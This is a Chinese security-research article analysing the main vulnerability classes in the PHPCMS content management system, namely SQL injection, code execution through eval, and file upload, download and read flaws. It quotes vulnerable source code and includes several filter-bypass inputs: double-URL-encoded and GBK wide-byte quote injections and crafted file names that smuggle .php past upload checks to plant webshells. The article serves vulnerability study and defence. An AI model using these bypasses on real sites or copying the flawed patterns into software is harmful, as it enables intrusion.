导语:根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPC

一、什么是PHPCMS

说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。

PHPCMS 是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:

图片1.png

 

图1 PHPCMS使用量的的行业分布情况

从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?

二、PHPCMS安全吗?

根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。

经过笔者对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类,其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布如下图2。接下来笔者将按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。

图片2.png

图2 PHPCMS漏洞类别分布

2.1 SQL注入漏洞

2.1.1 PHPCMS框架层面分析

PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?

笔者首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS 2008中对GPC变量的处理, 是在include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了

mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()

也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS 2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。

而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:

$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);

new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:

Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?

(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。

(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。

(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如: 0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。

针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。

private $route_config = '';
public function __construct() {
   if(!get_magic_quotes_gpc()) {
      $_POST = new_addslashes($_POST);
      $_GET = new_addslashes($_GET);
      $_REQUEST = new_addslashes($_REQUEST);
      $_COOKIE = new_addslashes($_COOKIE);

2.1.2 PHPCMS漏洞层面分析

从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:

第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。

$username = isset($_POST['username']) && is_username($_POST['username']) ? trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
    $password = isset($_POST['password']) && trim($_POST['password']) ? trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
    $cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码

所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。

第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc

这种方式来处理外部数据。PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:

function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;  
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid  = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?   trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));

这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。

PHPCMS <=V9.17 api/add_favorite.php SQL注入漏洞同时也是因为这个问题,$title参数被urldecode($title)函数解码导致符号过滤被绕过。

第三种情况下的SQL注入则是由parse_str()函数造成的,其中最经典的漏洞即为PHPCMS v9.6.0 sys_auth在解密参数后未进行适当校验造成SQL Injection,该漏洞的具体触发点在phpcms\modules\content\down.php文件init函数中:

public function init() {
        $a_k = trim($_GET['a_k']);//获取a_k参数
        if(!isset($a_k)) showmessage(L('illegal_parameters'));
        $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//使用sys_auth加密并传入DECODE及system.php文件中的auth_key
        if(empty($a_k)) showmessage(L('illegal_parameters'));
        unset($i,$m,$f);
        parse_str($a_k);//将解密后的字符串解析到变量
        if(isset($i)) $i = $id = intval($i);
        if(!isset($m)) showmessage(L('illegal_parameters'));
        if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
        if(empty($f)) showmessage(L('url_invalid'));
        $allow_visitor = 1;
        $MODEL = getcache('model','commons');
        $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
        $this->db->table_name = $tablename.'_data';
        $rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句

在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\

down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。

从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!

2.2命令执行漏洞

命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:

/**
* 将字符串转换为数组
*
* @param   string $data  字符串
* @return  array  返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
   $data = trim($data);
   if($data == '') return array();
   if(strpos($data, 'array')===0){
      @eval("\$array = $data;");
   }else{
      if(strpos($data, '{\\')===0) $data = stripslashes($data);
      $array=json_decode($data,true);
      if(strtolower(CHARSET)=='gbk'){
         $array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
      }
   }
   return $array;
}

该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。

其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:

$menu = string2array($menu);
 
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';

Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。

而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\

modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/

index.php代码执行漏洞等均是因为这个原因。

所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。

因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。

另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。

<?php
 if(isset($_GET['src'])){
  copy($_GET['src'],$_GET['dst']);
  //...
  unlink($_GET['dst']);
  //...
 }
?>

其中:

猛兽放进室内:copy($_GET['src'],$_GET['dst']);

这条猛兽不安全,杀之:unlink($_GET['dst']);

炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。

这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:

copy($_GET['src'],$_GET['dst']);

可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除…,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。

PHPCMS V9 /phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/

index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。

命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。

2.3任意文件上传漏洞、任意文件下载、任意文件读取漏洞

这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。

其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(<img src=http://url/shell.txt?.php#.jpg>)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。而第二个漏洞中则因strtolower(trim

(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20

%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。

PHPCMS <=V9.6.1 任意文件下载漏洞是一个很经典的漏洞,该漏洞的基本原理与上文中所提到的PHPCMS v9.6.0 sys_auth在解密参数后未进行适当校验造成SQL注入漏洞一致,他都是将所有参数经过加密后带入到sys_auth进行解密,然后通过parse_str($a_k)函数将解密后的字段解析到具体变量并注册变量,这里正好通过parse_str处理后注册了$f变量,经过赋值后,f参数都需要经过多轮过滤最终进入到下载中,所以这部分含有两步绕过方式,第一通过sys_auth获得a_k参数,然后还需要绕过f参数的多条限制,最终进入下载文件代码中。

PHPCMS <=v9.15 search/index.php任意文件读取漏洞也是PHPCMS中的一个经典漏洞,该漏洞原因存在于phpcms\modules\search\index.php:

public function public_get_suggest_keyword() {
$url = $_GET['url'].'&q='.$_GET['q'];
$res = @file_get_contents($url);
if(CHARSET != 'gbk') {
$res = iconv('gbk', CHARSET, $res);
}
echo $res;
}

很明显,$_GET['q']的参数没有进行校验,直接调用了file_get_contents函数文件并显示内容,所以直接构造q参数就可以访问任何文件。

这三种文件类漏洞,其核心也是未对涉及到文件名的外部参数进行严格过滤,导致文件被任意的操作,三种漏洞代表了对文件的三个操作,即上传/下载/读取,所以对文件名的处理逻辑是解决这些问题的核心点之一,严格的限制与过滤更需要清楚的逻辑来执行,或者,是否可以想到一个根本的方式来控制文件呢?

三、总结

所有的语言都可以编写内容管理系统(CMS),但是以PHP类CMS最多,当然,这是因为PHP语言灵活,开发WEB效率最高,对服务器环境要求也低,成本便宜,也容易扩展。但是,正是因为PHP语言的灵活,开发效率高,导致PHP类CMS基本上都存在很多漏洞,高开发效率注定有系统中很多处理逻辑不够严谨,导致过滤与限制绕过、或者是干脆没有过滤限制,使得漏洞产生和利用的门槛很低,最终,都需要用户来为这些厂商埋下来的安全问题买单。

安全是网络的生命线,安全研究人员分析漏洞的最终目的是如何更好的进行防御。作为一个致力于web安全的安全研究员,PHP类系统的安全是我无法忽视的一个阵地,对于本文中的PHPCMS,笔者经过长时间的分析与总结,为的就是提升这些漏洞的检测能力以及防御能力,最终为用户的系统安全修上一堵墙。PHPCMS的安全,最根本的一点就是对外部可控参数的处理是否严谨,对于PHP语言来说,你的处理逻辑一旦有问题,那么这个漏洞可能就是一个灾难性的漏洞了。

攻防的较量从未停止,黑客与白帽子间的斗争也越演越烈。在web安全漏洞这个战场上,需要持续深入地研究,才能占有主动权。

源链接

Hacking more

...